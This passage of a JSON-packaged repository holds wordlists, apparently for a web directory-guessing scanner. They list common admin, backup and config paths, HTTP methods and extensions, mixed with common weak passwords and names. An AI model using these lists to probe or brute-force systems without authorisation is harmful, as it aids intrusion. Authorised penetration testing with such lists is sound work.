spooky\nsports\nspring\nspringer\nsprite\nspunky\nsql\nsqladmin\nsquires\nsrc\nsrchad\nssi\nssssss\nstacey\nstaci\nstacie\nstacy\nstaff\nstanley\nstar\nstar69\nstargate\nstart\nstartpage\nstartrek\nstarwars\nstat\nstation\nstatistic\nstatistics\nStatistics\nstats\nStats\nstatus\nstealth\nsteele\nsteelers\nstella\nsteph\nstephani\nstephanie\nstephen\nsteve\nsteven\nstever\nstimpy\nsting1\nstingray\nstinky\nstore\nstorm\nstormy\nstrangle\nstrat\nstratford\nstrawber\nstuart\nstudent\nstupid\nstuttgart\nstylesheet\nstylesheets\nsubir\nsubmit\nsubway\nsuccess\nsugar\nsumari\nsumario\nsumaris\nsummer\nsun\nsunbird\nsundance\nsunday\nsunflowe\nsunny\nsunny1\nsunrise\nsunset\nsunshine\nsuper\nsuperman\nsuperstage\nsuperuser\nsupport\nsupported\nsupra\nsurf\nsurfer\nsusan\nsusanne\nsusie\nsuzanne\nsuzie\nsuzuki\nsw\nswearer\nsweetie\nsweetpea\nsweety\nswimming\nsybil\nsydney\nsylvia\nsylvie\nsymbol\nsymmetry\nsys\nsysadmin\nsystem\ntabla\ntablas\ntacobell\ntaffy\ntamara\ntami\ntamie\ntammy\ntangerine\ntango\ntanya\ntape\ntar\ntara\ntarget\ntarjetas\ntarragon\ntarzan\ntasha\ntattoo\ntaula\ntauler\ntaurus\ntaylor\nt-bone\nteacher\ntech\ntechno\ntecnic\ntecnico\ntecnicos\nteddy\nteddy1\ntelecom\ntelephone\ntemas\ntemes\ntemp\ntemplate\ntemporal\ntemptation\ntennis\ntequila\ntercer\nteresa\nterminal\nterry\ntest\nTest\nTEST\ntest00\ntest01\ntest1\ntest123\ntest2\ntester\ntesting\ntests\nTests\nTESTS\ntesttest\ntexas\ntext\ntexto\ntexts\nthailand\ntheatre\ntheboss\ntheking\ntheresa\nthomas\nthumper\nthunder\nthunderb\nthursday\nthx1138\ntienda\ntiffany\ntiger\ntigers\ntigger\ntigre\ntim\ntimber\ntime\ntimothy\ntina\ntinker\ntintin\ntitular\ntitulars\ntmp\ntoby\ntodas\ntoday\ntodo\ntodos\ntoggle\ntom\ntomato\ntomcat\ntommy\ntony\ntool\ntools\ntootsie\ntop\ntopcat\ntopgun\ntopher\ntopics\ntopography\ntoronto\ntortoise\ntot\ntotes\ntots\ntoxic\ntoyota\ntpv\ntrabajador\ntrabajadores\ntrabajo\ntraci\ntracie\ntracy\ntraffic\ntrails\ntraining\ntransfer\ntransit\ntransito\ntransmissio  \ntraspaso\ntravel\ntreballador\ntreballadors\ntrebor\ntree\ntrees\ntrek\ntrevor\ntricia\ntrident\ntrisha\ntristan\ntrivial\ntrixie\ntrombone\ntrouble\ntruck\ntrumpet\ntst\ntsts\ntty\ntubas\ntucker\ntuesday\nturbo\nturtle\ntuttle\ntweety\ntwins\ntyler\numesh\nundead\nunhappy\nunicorn\nunix\nunknown\nup\nupdate\nupdates\nupload\nuranus\nurchin\nursula\nusage\nuser\nuser1\nusers\nusr\nustats\nusuari\nusuario\nusuarios\nusuaris\nutil\nutilities\nutility\nutils\nutopia\nuucp\nvacio\nvader\nvalentin\nvalerie\nvalhalla\nvanilla\nvar\nvasant\nvell\nvelvet\nventana\nvenus\nver\nvermont\nveronica\nvertigo\nveure\nvfs\nvicky\nvictor\nvictoria\nvictory\nvideo\nviejo\nviews\nviking\nvillage\nvincent\nviolet\nviper\nviper1\nvirgin\nvirginia\nvirtual\nvisa\nvision\nvisitor\nvolley\nvolvo\nvoodoo\nw3c\nwalker\nwally\nwalter\nwanker\nwarcraft\nwarez\nwargames\nwarner\nwarren\nwarrior\nwarriors\nwater\nwatson\nwayne\nwdav\nweasel\nweb\nwebadmin\nwebboard\nwebcart\nwebdata\nwebdav\nweblog\nweblogs\nwebmail\nwebmaste\nwebmaster\nwebsite\nwebstat\nwebstats\nwebster\nweenie\nwelcome\nwellcome\nwendi\nwendy\nwesley\nwestern\nwhatever\nwhatnot\nwheeling\nwheels\nwhisky\nwhite\nwhiting\nwhitney\nwholesale\nwilbur\nwill\nwilliam\nwilliams\nwilliamsburg\nwillie\nwillow\nwilly\nwilma\nwilson\nwin95\nwindows\nwindsurf\nwinner\nwinnie\nwinston\nwinter\nwisconsin\nwisdom\nwizard\nwolf\nwolf1\nwolfgang\nwolfMan\nwolverin\nwolves\nwombat\nwonder\nwoodwind\nwoody\nword\nwork\nwormwood\nwqsb\nwrangler\nwright\nwstats\nwusage\nwww\nwwwjoin\nwwwlog\nwwwstats\nwyoming\nxanadu\nxavier\nxcountry\nxfer\nxfiles\nxml\nxmodem\nxxx\nxxxx\nxyz\nxyzzy\nyaco\nyamaha\nyang\nyankees\nyellow\nyellowstone\nyoda\nyolanda\nyomama\nyosemite\nyoung\nyvonne\nzachary\nzap\nzapata\nzaphod\nzebra\nzenith\nzephyr\nzeppelin\nzeus\nzhongguo\nziggy\nzimmerman\nzipfiles\nzips\nzmodem\nzombie\nzorro\nzxcvbnm\n"
  },
  {
    "path": "wordlist/general/catala.txt",
    "content": "acces\nactivitats\nadministracio\nafegir\nagafar\nagenda\najuda\najudes\nantic\narrel\narticle\narticles\narxiu\narxius\nborsa\nbotiga\nbulleti\nbustia\ncalaix\ncampanyes\ncapsalera\ncarpeta\ncat\ncatala\ncataleg\ncatalegs\ncategories\nceller\ncerca\ncercador\nclaus\nclient\nclients\ncolleccio\ncomunicacio\nconfirmacio\ncontingut\ncontinguts\ncopia\ncorreu\ncrida\ndades\ndemamar\ndemanas\ndescarrega\ndescarregues\ndesenvolupament\ndirectori\ndisseny\ndocument\ndocumentacio\ndocuments\neines\nempreses\nenllacos\nentitats\nentorns\nesborrar\nescola\nexternes\nfinestra\nfitxer\nfitxers\nfonts\nformulari\nformularis\nforum\nforums\ngestio\nglossari\nhistoric\nimatge\nimatges\ninformacio\ninici\njocs\nlletres\nlleure\nllibres\nllista\nlocalitzador\nlocals\nmaquinari\nmitjans\nmostra\nmostres\nmot\nnoticies\nnou\nnovetats\nnul\nobrir\noperacio\norganitzacions\npagines\npas\npersonals\npestanya\npestanyes\npeu\nporta\nprimer\nprincipal\nprivat\nprogramari\nprojecte\nprojectes\nprova\nproves\npublic\npublicacions\npujar\nrecerca\nrecull\nreculls\nregistre\nregistres\nsalo\nseccio\nsegon\nseguretat\nserveis\nsistemes\nsumari\nsumaris\ntasques\ntaula\ntauler\ntecnic\ntemes\ntercer\ntitulars\ntot\ntotes\ntots\ntransit\ntransmissio  \ntreballador\ntreballadors\nusuari\nusuaris\nvell\nveure\n"
  },
  {
    "path": "wordlist/general/common.txt",
    "content": "@\n00\n01\n02\n03\n1\n10\n100\n1000\n123\n2\n20\n200\n2000\n2001\n2002\n2003\n2004\n2005\n3\na\naa\naaa\nabc\nabout\nacademic\naccess\naccessgranted\naccount\naccounting\naction\nactions\nactive\nadm\nadmin\n_admin\nadmin_\nAdmin\nadministrat\nadministration\nAdministration\nadministrator\nadminlogin\nadmin_login\nadminlogon\nadmin_logon\nadminsql\nadmon\nadsl\nagent\nagents\nalias\naliases\nall\nalpha\nanalog\nanalyse\nannouncements\nanswer\nany\napache\napi\napp\napplet\napplets\nappliance\napplication\napplications\napply\napps\narchive\narchives\narrow\nasp\naspadmin\nassets\nattach\nattachments\naudit\nauth\nauto\nautomatic\nb\nback\nbackdoor\nbackend\nbackoffice\nbackup\nback-up\nbackups\nbak\nbakup\nbak-up\nbank\nbanks\nbanner\nbanners\nbase\nbasic\nbass\nbatch\nbd\nbdata\nbea\nbean\nbeans\nbeta\nbill\nbilling\nbin\nbinaries\nbiz\nblog\nblow\nboard\nboards\nbody\nboot\nbot\nbots\nbox\nboxes\nbroken\nbsd\nbug\nbugs\nbuild\nbuilder\nbulk\nbusiness\nbuttons\nc\ncache\ncachemgr\ncad\ncan\ncaptcha\ncar\ncard\ncardinal\ncards\ncarpet\ncart\ncas\ncat\ncatalog\ncatalogs\ncatch\ncc\nccs\ncd\ncdrom\ncert\ncertenroll\ncertificate\ncertificates\ncerts\ncfdocs\ncfg\ncgi\ncgibin\ncgi-bin\ncgi-win\nchan\nchange\nchangepw\nchannel\nchart\nchat\nclass\nclasses\nclassic\nclassified\nclassifieds\nclient\nclients\ncluster\ncm\ncmd\ncode\ncoffee\ncoke\ncommand\ncommerce\ncommercial\ncommon\ncomponent\ncompose\ncomposer\ncompressed\ncomunicator\ncon\nconfluence\nconfig\nconfigs\nconfiguration\nconfigure\nconnect\nconnections\nconsole\nconstant\nconstants\ncontact\ncontacts\ncontent\ncontents\ncontrol\ncontroller\ncontrolpanel\ncontrols\ncorba\ncore\ncorporate\ncount\ncounter\ncpanel\ncreate\ncreation\ncredit\ncreditcards\ncrm\ncron\ncrs\ncss\ncustomer\ncustomers\ncustomize\ncv\ncvs\nCVS\nCYBERDOCS\nCYBERDOCS25\nCYBERDOCS31\nd\ndaemon\ndat\ndata\ndatabase\ndatabases\ndav\ndb\ndba\ndbase\ndbm\ndbms\ndebug\ndefault\ndelete\ndeletion\ndemo\ndemos\ndeny\ndeploy\ndeployment\ndesign\ndetails\ndev\ndev60cgi\ndevel\ndevelop\ndevelopement\ndevelopers\ndevelopment\ndevice\ndevices\ndevs\ndiag\ndial\ndig\ndir\ndirectory\ndiscovery\ndisk\ndispatch\ndispatcher\ndms\ndns\ndoc\ndocs\ndocs41\ndocs51\ndocument\ndocuments\ndown\ndownload\ndownloads\ndraft\ndragon\ndratfs\ndriver\ndump\ndumpenv\ne\neasy\nebriefs\nechannel\necommerce\nedit\neditor\nelement\nelements\nemail\nemployee\nemployees\nen\neng\nengine\nenglish\nenterprise\nenv\nenviron\nenvironment\nerror\nerrors\nes\nesales\nesp\nestablished\nesupport\netc\nevent\nevents\nexample\nexamples\nexchange\nexe\nexec\nexecutable\nexecutables\nexplorer\nexport\nexternal\nextra\nextranet\nExtranet\nfail\nfailed\nfcgi-bin\nfeedback\nfield\nfile\nfiles\nfilter\nfirewall\nfirst\nflash\nfolder\nfoo\nforget\nforgot\nforgotten\nform\nformat\nformhandler\nformsend\nformupdate\nfortune\nforum\nforums\nframe\nframework\nftp\nfun\nfunction\nfunctions\ngames\ngate\ngeneric\ngest\nget\nglobal\nglobalnav\nglobals\ngone\ngp\ngpapp\ngranted\ngraphics\ngroup\ngroups\nguest\nguestbook\nguests\nhack\nhacker\nhandler\nhanlder\nhappening\nhead\nheader\nheaders\nhello\nhelloworld\nhelp\nhidden\nhide\nhistory\nhits\nhome\nhomepage\nhomes\nhomework\nhost\nhosts\nhtdocs\nhtm\nhtml\nhtmls\nibm\nicons\nidbc\niis\nimages\nimg\nimport\ninbox\ninc\ninclude\nincludes\nincoming\nincs\nindex\nindex2\nindex_adm\nindex_admin\nindexes\ninfo\ninformation\ningres\ningress\nini\ninit\ninput\ninstall\nINSTALL_admin\ninstallation\ninteractive\ninternal\ninternet\nintranet\nintro\ninventory\ninvitation\ninvite\nipp\nips\nj\njava\njavascript\njava-sys\njdbc\njob\njoin\njrun\njira\njs\njsp\njsps\njsr\nkeep\nkept\nkernel\nkey\nlab\nlabs\nlaunch\nlaunchpage\nldap\nleft\nlevel\nlib\nlibraries\nlibrary\nlibs\nlink\nlinks\nlinux\nlist\nload\nloader\nlock\nlockout\nlog\nLog\nlogfile\nlogfiles\nlogger\nlogging\nlogin\nlogo\nlogon\nlogout\nlogs\nLogs\nlost%2Bfound\nls\nmagic\nmail\nmailbox\nmaillist\nmain\nmaint\nmakefile\nman\nmanage\nmanagement\nmanager\nmanual\nmap\nmarket\nmarketing\nmaster\nmbo\nmdb\nme\nmember\nmembers\nmemory\nmenu\nmessage\nmessages\nmessaging\nmeta\nmetabase\nmgr\nmine\nminimum\nmirror\nmirrors\nmisc\nmkstats\nmodel\nmodem\nmodule\nmodules\nmonitor\nmount\nmp3\nmp3s\nmqseries\nmrtg\nms\nmsql\nmssql\nms-sql\nmusic\nmy\nmysql\nmy-sql\nnames\nnavigation\nne\nnet\nnetscape\nnetstat\nnetwork\nnew\nnews\nnext\nnl\nnobody\nnotes\nnovell\nnul\nnull\nnumber\nobject\nobjects\nodbc\nof\noff\noffice\nogl\nold\noldie\non\nonline\nopen\nopenapp\nopenfile\noperator\noracle\noradata\norder\norders\noutgoing\noutput\npad\npage\npages\n_pages\nPages\npam\npanel\npaper\npapers\npass\npasses\npassw\npasswd\npasswor\npassword\npasswords\npath\npdf\nperl\nperl5\npersonal\npersonals\npgsql\nphone\nphp\nphpmyadmin\nphpMyAdmin\npics\nping\npix\npl\npls\nplx\npol\npolicy\npoll\npop\nportal\nportlet\nportlets\npost\npostgres\npower\npress\npreview\nprint\nprintenv\npriv\nprivate\nprivs\nprocess\nprocessform\nprod\nproduction\nproducts\nprofessor\nprofile\nprogram\nproject\nproof\nproperties\nprotect\nprotected\nproxy\nps\npub\npublic\npublish\npublisher\npurchase\npurchases\nput\npw\npwd\npython\nqueries\nquery\nqueue\nquote\nramon\nrandom\nrank\nrcs\nreadme\nredir\nredirect\nreference\nreferences\nreg\nreginternal\nregional\nregister\nregistered\nrelease\nremind\nreminder\nremote\nremoved\nreport\nreports\nrequisite\nresearch\nreseller\nresource\nresources\nresponder\nrestricted\nretail\nright\nrobot\nrobotics\nroot\nroute\nrouter\nrpc\nrss\nrules\nrun\nsales\nsample\nsamples\nsave\nsaved\nschema\nscr\nscratc\nscript\nscripts\nsdk\nsearch\nsecret\nsecrets\nsection\nsections\nsecure\nsecured\nsecurity\nselect\nsell\nsend\nsendmail\nsensepost\nsensor\nsent\nserver\nservers\nserver_stats\nservice\nservices\nservlet\nServlet\nservlets\nServlets\nsession\nsessions\nset\nsetting\nsettings\nsetup\nshare\nshared\nshell\nshit\nshop\nshopper\nshow\nshowcode\nshtml\nsign\nsignature\nsignin\nsimple\nsingle\nsite\nsitemap\nsites\nSiteServer\nsmall\nsnoop\nsoap\nsoapdocs\nsoftware\nsolaris\nsolutions\nsomebody\nsource\nsources\nSources\nspain\nspanish\nsql\nsqladmin\nsrc\nsrchad\nsrv\nssi\nssl\nstaff\nstart\nstartpage\nstat\nstatistic\nstatistics\nStatistics\nstats\nStats\nstatus\nstop\nstore\nstory\nstring\nstudent\nstuff\nstyle\nstylesheet\nstylesheets\nsubmit\nsubmitter\nsun\nsuper\nsupport\nsupported\nsurvey\nsvc\nsvn\nsvr\nsw\nsys\nsysadmin\nsystem\ntable\ntag\ntape\ntar\ntarget\ntech\ntemp\ntemplate\ntemplates\ntemporal\ntemps\nterminal\ntest\ntesting\ntests\ntext\ntexts\nticket\ntmp\ntoday\ntool\ntoolbar\ntools\ntop\ntopics\ntour\ntpv\ntrace\ntraffic\ntransaction\ntransactions\ntransfer\ntransport\ntrap\ntrash\ntree\ntrees\ntutorial\nuddi\nuninstall\nunix\nup\nupdate\nupdates\nupload\nuploader\nuploads\nusage\nuser\nusers\nusr\nustats\nutil\nutilities\nutility\nutils\nvalidation\nvalidatior\nvap\nvar\nvb\nvbs\nvbscript\nvbscripts\nvfs\nview\nviewer\nviews\nvirtual\nvisitor\nvpn\nw\nw3\nw3c\nW3SVC\nW3SVC1\nW3SVC2\nW3SVC3\nwarez\nwdav\nweb\nwebaccess\nwebadmin\nwebapp\nwebboard\nwebcart\nwebdata\nwebdav\nwebdist\nwebhits\nWEB-INF\nweblog\nweblogic\nweblogs\nwebmail\nwebmaster\nwebsearch\nwebservice\nwebservices\nwebsite\nwebstat\nwebstats\nwebvpn\nwelcome\nwellcome\nwhatever\nwhatnot\nwhois\nwill\nwin\nwindows\nword\nwork\nworkplace\nworkshop\nws\nwstats\nwusage\nwww\nwwwboard\nwwwjoin\nwwwlog\nwwwstats\nxcache\nxfer\nxml\nxmlrpc\nxsl\nxsql\nxyz\nzap\nzip\nzipfiles\nzips\n"
  },
  {
    "path": "wordlist/general/euskera.txt",
    "content": "administrazio \nadministrazioa\nargitalpenak\nartxiboa\nataria\naupa\naurrera\nbai\nberri\nbidali\nbilatu\nbuzoia\ndataz\ndokumentuak\negutegia \nerreala\nez\nfitxategia\nforu\ngestio\ngidak\ngora\nhasi\nhizkuntza\nikusi\ninformazio\nloturak\nmakusi\nmezuak\noharra\nproiektua\nsaioa\nsustapena\ntaula\ntxostena\n"
  },
  {
    "path": "wordlist/general/extensions_common.txt",
    "content": "/\n.asp\n.aspx\n.bat\n.c\n.cfm\n.cgi\n.com\n.dll\n.exe\n.htm\n.html\n.inc\n.jhtml\n.jsa\n.jsp\n.log\n.mdb\n.nsf\n.php\n.phtml\n.pl\n.reg\n.sh\n.shtml\n.sql\n.txt\n.xml\n"
  },
  {
    "path": "wordlist/general/http_methods.txt",
    "content": "ACL\nCHECKIN\nCHECKOUT\nCONNECT\nCOPY\nDELETE\nGET\nHEAD\nINDEX\nLINK\nLOCK\nMKCOL\nMOVE\nNOEXISTE\nOPTIONS\nORDERPATCH\nPATCH\nPOST\nPROPFIND\nPROPPATCH\nPUT\nREPORT\nSEARCH\nSHOWMETHOD\nSPACEJUMP\nTEXTSEARCH\nTRACE\nTRACK\nUNCHECKOUT\nUNLINK\nUNLOCK\nVERSION-CONTROL\n"
  },
  {
    "path": "wordlist/general/medium.txt",
    "content": "@\n0\n00\n01\n02\n03\n1\n10\n100\n1000\n123\n2\n20\n200\n2000\n2001\n2002\n2003\n3\na\naa\naaa\nabajo\nabc\nabout\nacademia\nacademic\nacces\nacceso\naccess\naccessgranted\nacciones\naccount\naccounting\nactive\nactividades\nactivitats\nactual\nada\nadm\nadmin\nadministracio\nadministracion\nadministration\nAdministration\nadministrator\nadminsitradores\nadminsql\nadmon\nadrian\nadrianna\nadsl\naerobics\nafegir\nagafar\nagenda\nagent\nagents\nairplane\nalbany\nalbatross\nalbert\nalex\nalexander\nalf\nalgebra\nalias\naliases\nalice\nalicia\nalisa\nalison\nallison\nalmacen\nalpha\nalphabet\nama\namadeus\namanda\namber\namorphous\namy\nanalog\nanchor\nandrea\nandromache\nandy\nangela\nangerine\nangie\nanimals\nanita\nann\nanna\nanne\nannette\nanswer\nanthropogenic\nantic\nantiguo\nanvils\nanything\napache\naplicacion\napp\nappliance\napplication\napplications\napps\napril\narchivar\narchive\narchives\narchivo\narchivos\naria\nariadne\narlene\narrel\narriba\narrow\narthur\narticle\narticles\narticulo\narticulos\narxiu\narxius\nasd\nasm\nasp\nasshole\nathena\natmosphere\nattach\nattachments\naudit\nauditoria\naupa\naurrera\nauth\nauto\nautomatic\nayuda\naztecs\nazure\nb\nbacchus\nback\nbackdoor\nbackoffice\nbackup\nbackups\nbadass\nbai\nbailey\nbak\nbakup\nbanana\nbananas\nbanca\nbanco\nbandit\nbank\nbanks\nbanner\nbarbara\nbarber\nbaritone\nbart\nbartman\nbase\nbasic\nbass\nbassoon\nbatch\nbatman\nbbdd\nbd\nbdata\nbdatos\nbea\nbeach\nbeater\nbeauty\nbeaver\nbecky\nbeethoven\nbeloved\nbenz\nbeowulf\nberkeley\nberlin\nberliner\nberyl\nbeta\nbeth\nbetsie\nbetty\nbeverly\nbicameral\nbilling\nbin\nbinaries\nbishop\nbitch\nbob\nbolsa\nboot\nborrar\nborsa\nbotiga\nbradley\nbrandi\nbrandy\nbrenda\nbrian\nbridget\nbroadway\nbroken\nbsd\nbulleti\nbumbling\nburgess\nbuscador\nbuscar\nbustia\nbuzon\nbuzones\nc\ncache\ncad\ncaja\ncajon\ncalaix\ncamille\ncampanile\ncampanyes\ncandi\ncandy\ncantor\ncard\ncardinal\ncards\ncaren\ncarga\ncargar\ncarla\ncarmen\ncarol\ncarole\ncarolina\ncaroline\ncarpeta\ncarrie\ncarson\ncarta\ncascades\ncastle\ncat\ncatala\ncataleg\ncatalegs\ncatalog\ncatalogo\ncatalogos\ncatalogs\ncategories\ncatherine\ncathy\ncayuga\ncc\nccs\ncd\ncdrom\ncecily\nceller\nceltics\ncerca\ncercador\ncert\ncertificate\ncerulean\ncfdocs\ncgi\ncgibin\ncgi-bin\ncgi-bin/\ncgi-win\nchange\ncharity\ncharles\ncharming\ncharon\nchat\nchem\nchemistry\nchess\nchester\nchristina\nchristine\nchristy\ncifrado\ncigar\ncindy\nclass\nclasses\nclassic\nclassified\nclassifieds\nclaudia\nclaus\nclave\nclaves\nclient\ncliente\nclientes\nclients\ncluster\nclusters\ncm\ncmd\ncode\ncodigo\ncoffee\ncoger\ncoke\ncoleccion\ncolecciones\ncolleccio\ncollins\ncommon\ncommrades\ncomponent\ncomponentes\ncompra\ncompras\ncompressed\ncomputer\ncomrade\ncomrades\ncomun\ncomunes\ncomunicacio\ncomunicacion\ncomunicaciones\ncondo\ncondom\nconecta\nconfig\nconfiguracion\nconfirmacio\nconnect\nconnie\nconsole\ncontenedor\ncontenido\ncontenidos\ncontent\ncontents\ncontingut\ncontinguts\ncontrol\ncookie\ncooper\ncopia\ncorba\ncore\ncornelius\ncorreo\ncorreu\ncounter\ncouscous\ncpanel\ncreate\ncreation\ncredit\ncreditcards\ncreosote\ncretin\ncrida\ncriminal\ncristina\ncrs\ncrystal\ncs\ncshrc\ncss\ncuenta\ncuentas\ncustomer\ncustomers\ncv\ncvs\ncynthia\nd\ndades\ndaemon\ndaisy\ndana\ndancer\ndaniel\ndanielle\ndanny\ndapper\ndat\ndata\ndatabase\ndatabases\ndataz\ndato\ndatos\ndav\ndave\ndawn\ndb\ndba\ndbase\ndbm\ndbms\ndeb\ndebbie\ndeborah\ndebug\ndecember\ndefault\ndefoe\ndejar\ndeluge\ndemamar\ndemanas\ndemanda\ndemo\nDemo\nDEMO\ndemos\ndenise\nderecha\ndesarrollo\ndescarga\ndescarrega\ndescarregues\ndesenvolupament\ndesiree\ndesperate\ndev\ndevel\ndevelop\ndevelopement\ndevelopers\ndevelopment\ndevice\ndial\ndiana\ndiane\ndiet\ndieter\ndigital\ndir\ndirectori\ndirectorio\ndirectory\ndisc\ndiscovery\ndiseno\ndisk\ndisney\ndispatch\ndispatcher\ndisseny\ndms\ndoc\ndocs\ndocs41\ndocs51\ndocument\ndocumentacio\ndocumentacion\ndocumento\ndocumentos\ndocuments\ndog\ndos\ndown\ndownload\ndownloads\ndragon\ndrought\ndulce\nduncan\ne\neager\nearth\neasier\neasy\neatme\nebriefs\nechannel\necommerce\nedges\nedinburgh\nedit\neditor\nedwin\nedwina\negghead\neiderdown\neileen\neines\neinstein\nejemplo\nejemplos\nelaine\nelanor\nelement\nelements\nelephant\nelizabeth\nellen\nemail\nemerald\nemily\nemmanuel\nemployees\nempresa\nempresas\nempreses\nen\nenemy\neng\nengine\nengineer\nenglish\nenllacos\nenterprise\nentidades\nentitats\nentorno\nentornos\nentorns\nentrada\nentregar\nentregas\nenvia\nenzyme\nerenity\nerica\nerika\nerin\nerreala\nerror\nerrors\nersatz\nes\nesales\nesborrar\nescola\nescuela\nesp\nespanol\nestablish\nestablished\nestate\nesupport\netc\neternity\neuclid\nevelyn\nexample\nexamples\nexchange\nexec\nexecutable\nexecutables\nextension\nexternal\nexternes\nexternos\nextra\nextranet\nez\nfairway\nfcgi-bin\nfeedback\nfelicia\nfender\nfermat\nferrari\nficha\nfichero\nficheros\nfidelity\nfield\nfile\nfiles\nfinestra\nfinite\nfishers\nfitxer\nfitxers\nflakes\nfloat\nflower\nflowers\nfonts\nfoo\nfoolproof\nfootball\nforesight\nformat\nforo\nforsythe\nforum\nforums\nfoto\nfotos\nfourier\nframe\nfred\nfriend\nfrighten\nftp\nfun\nfunction\nfunctions\nfungible\ngabriel\ngames\ngardner\ngarfield\ngatt\ngauss\ngeorge\ngertrude\ngest\ngestio\ngestion\nget\ngibson\ngina\nginger\nglacier\nglobal\nglossari\ngnu\ngolf\ngolfer\ngora\ngorgeous\ngorges\ngosling\ngouge\ngraham\ngrahm\ngraphics\ngroup\ngroups\ngryphon\nguardar\ngucci\nguess\nguest\nguestbook\nguests\nguitar\ngumption\nguntis\nhack\nhacker\nhal\nhamlet\nhandily\nhanlder\nhappening\nharmony\nharold\nharvey\nhasi\nhawaii\nhead\nheader\nheaders\nheather\nhebrides\nheidi\nheinlein\nhello\nhelp\nherbert\nherramientas\nhiawatha\nhibernia\nhidden\nhide\nhits\nholly\nhome\nhomepage\nhomes\nhomework\nhoney\nhorse\nhorus\nhtdocs\nhtm\nhtml\nhtmls\nhutchins\nhydrogen\nibm\nid\nidbc\nikusi\nimagen\nimagenes\nimages\nimatge\nimatges\nimbroglio\nimperial\nimport\ninc\ninclude\nincludes\nincoming\nincs\nindex\nindice\ninfo\ninformacio\ninformacion\ninformation\ningres\ningresa\ningreso\ningress\ningrid\nini\ninicio\ninit\ninna\ninnocuous\ninstalacion\ninstall\ninstallation\ninteractive\ninternal\ninternet\nintranet\nintro\ninvestigado\ninvitado\ninvitados\nipp\nips\nirene\nirishman\nisis\nizquierda\nj\njackie\njane\njanet\njanice\njanie\njapan\njasmin\njava\njavascript\njdbc\njean\njeanne\njen\njenni\njennifer\njenny\njessica\njester\njill\njixian\njoanne\njob\njocs\njody\njohnny\njoseph\njoshua\njoy\njoyce\njrun\njs\njsp\njudith\njudy\njuego\njuegos\njuggle\njulia\njulie\njune\njupiter\nkaren\nkarie\nkarina\nkate\nkathleen\nkathrine\nkathy\nkatina\nkatrina\nkeep\nkelly\nkept\nkeri\nkermit\nkernel\nkerri\nkerrie\nkerry\nkey\nkim\nkimberly\nkirkland\nkitten\nknight\nkrista\nkristen\nkristi\nkristie\nkristin\nkristine\nkristy\nladle\nlala\nlambda\nlamination\nlana\nlara\nlarkin\nlarry\nlaunch\nlaura\nlazarus\nldap\nleah\nlebesgue\nlee\nleer\nleft\nleland\nleroy\nleslie\nletras\nlewis\nlib\nlibraries\nlibrary\nlibros\nlibs\nlight\nlinda\nlinks\nlinux\nlisa\nlisp\nlist\nlistar\nliz\nllamada\nllamadas\nllave\nllaves\nlletres\nlleure\nllibres\nload\nlocal\nlocalitzador\nlocalizador\nlocals\nlock\nlockout\nlog\nLog\nlogfile\nlogfiles\nlogger\nlogging\nlogin\nlogon\nlogout\nlogs\nLogs\nlois\nlolo\nlori\nlorin\nlorraine\nlost+found\nlouis\nlove\nlucy\nlynn\nlynne\nmacintosh\nmack\nmaggot\nmagic\nmail\nmain\nmaint\nmakusi\nmalcolm\nmalcom\nmanage\nmanagement\nmanager\nmanual\nmap\nmaquinari\nmara\nmarci\nmarcy\nmaria\nmarietta\nmark\nmarket\nmarketing\nmarkus\nmarni\nmars\nmarty\nmarvin\nmary\nmaster\nmath\nmaurice\nmbo\nmdb\nme\nmeagan\nmedios\nmegan\nmelissa\nmellon\nmember\nmembers\nmemory\nmenu\nmercury\nmerlin\nmessage\nmessages\nmessaging\nmeta\nmetabase\nmets\nmgr\nmichael\nmichele\nmichelle\nmickey\nmike\nmine\nminimum\nminsky\nmirror\nmirrors\nmisc\nmit\nmitjans\nmkstats\nmodem\nmogul\nmoguls\nmonica\nmoose\nmorley\nmostrar\nmot\nmouse\nmovimientos\nmozart\nmp3\nmp3s\nmqseries\nms\nmsql\nmssql\nms-sql\nmusic\nmutant\nmy\nmysql\nmy-sql\nnada\nnagel\nnames\nnancy\nnapoleon\nnasa\nne\nnepenthe\nneptune\nness\nnet\nnetscape\nnetwork\nnew\nnews\nnewton\nnext\nnicole\nnita\nnl\nnobody\nnoreen\nnoticias\nnoticies\nnou\nnovetats\nnoxious\nnuclear\nnucleo\nnuevo\nnul\nnulo\nnutrition\nnyquist\noceanography\nocelot\noculto\nodbc\nof\noffice\nogl\nold\noldie\nolivetti\nolivia\nolvidado\nonline\nopen\noperacio\noperator\noracl\noracle\noradata\norca\norder\norders\norganitzacions\norganizacion\norganizaciones\norwell\nosiris\noutgoing\noutlaw\noxford\npacific\npad\npages\nPages\npagina\npaginas\npagines\npainless\npakistan\npalabra\npam\npamela\npanel\npaper\npapers\npas\npaso\npass\npasses\npassw\npasswd\npasswor\npassword\npasswords\npat\npath\npatricia\npatty\npaula\npdf\npencil\npenelope\npenguin\npenis\npeoria\npercolate\nperfil\nperl\nperl5\npersimmon\npersona\npersonal\npersonales\npersonals\npestana\npestanya\npestanyes\npete\npeter\npgsql\nphilip\nphoenix\nphone\nphp\nphpmyadmin\nphpMyAdmin\npics\npierre\npix\npizza\npl\nplane\nplayboy\nplover\npls\npluto\nplx\nplymouth\npol\npoll\npolly\npolynomial\npondering\npork\nporsche\nporta\nportal\npost\nposter\npostgres\npower\nppal\npraise\nprecious\nprelude\npress\npresto\npreview\nprimer\nprimero\nprince\nprinceton\nprincipal\npriv\nprivado\nprivat\nprivate\nprivs\nprobando\nprocesos\nprod\nproduction\nproducts\nprofessor\nprofile\nprogram\nprogramador\nprogramari\nproject\nprojecte\nprojectes\nproperties\nprotect\nprotozoa\nprova\nProva\nprova1\nprova2\nprovas\nProvas\nproveedores\nproyecto\nproyectos\nprueba\nPRUEBA\nprueba00\nprueba01\nprueba1\nprueba2\npruebas\nPruebas\nPRUEBAS\nps\npub\npublic\npublica\npublicacion\npublicaciones\npublicacions\npublicar\npublico\npublish\npublisher\npuerta\npumpkin\npuneet\npuppet\npurchase\npurchases\nput\npw\npwd\npython\nquery\nqwerty\nrabbit\nrachel\nrachelle\nrachmaninoff\nrainbow\nraindrop\nraiz\nraleigh\nrandom\nrascal\nrcs\nreadme\nreagan\nreally\nrebecca\nrecerca\nrecoger\nrecull\nreculls\nredirect\nreg\nreginternal\nregional\nregister\nregistered\nregistre\nregistres\nregistro\nregistros\nremote\nremoto\nremoved\nrenee\nrepaso\nreports\nrequisite\nreseller\nresource\nrespaldo\nrestricted\nretail\nrick\nright\nrincon\nripple\nrisc\nrje\nrobin\nrobot\nrobotics\nrobyn\nrochelle\nrochester\nrodent\nrolex\nromano\nronald\nroot\nrose\nrosebud\nrosemary\nroses\nrpc\nruben\nrules\nruth\nsaioa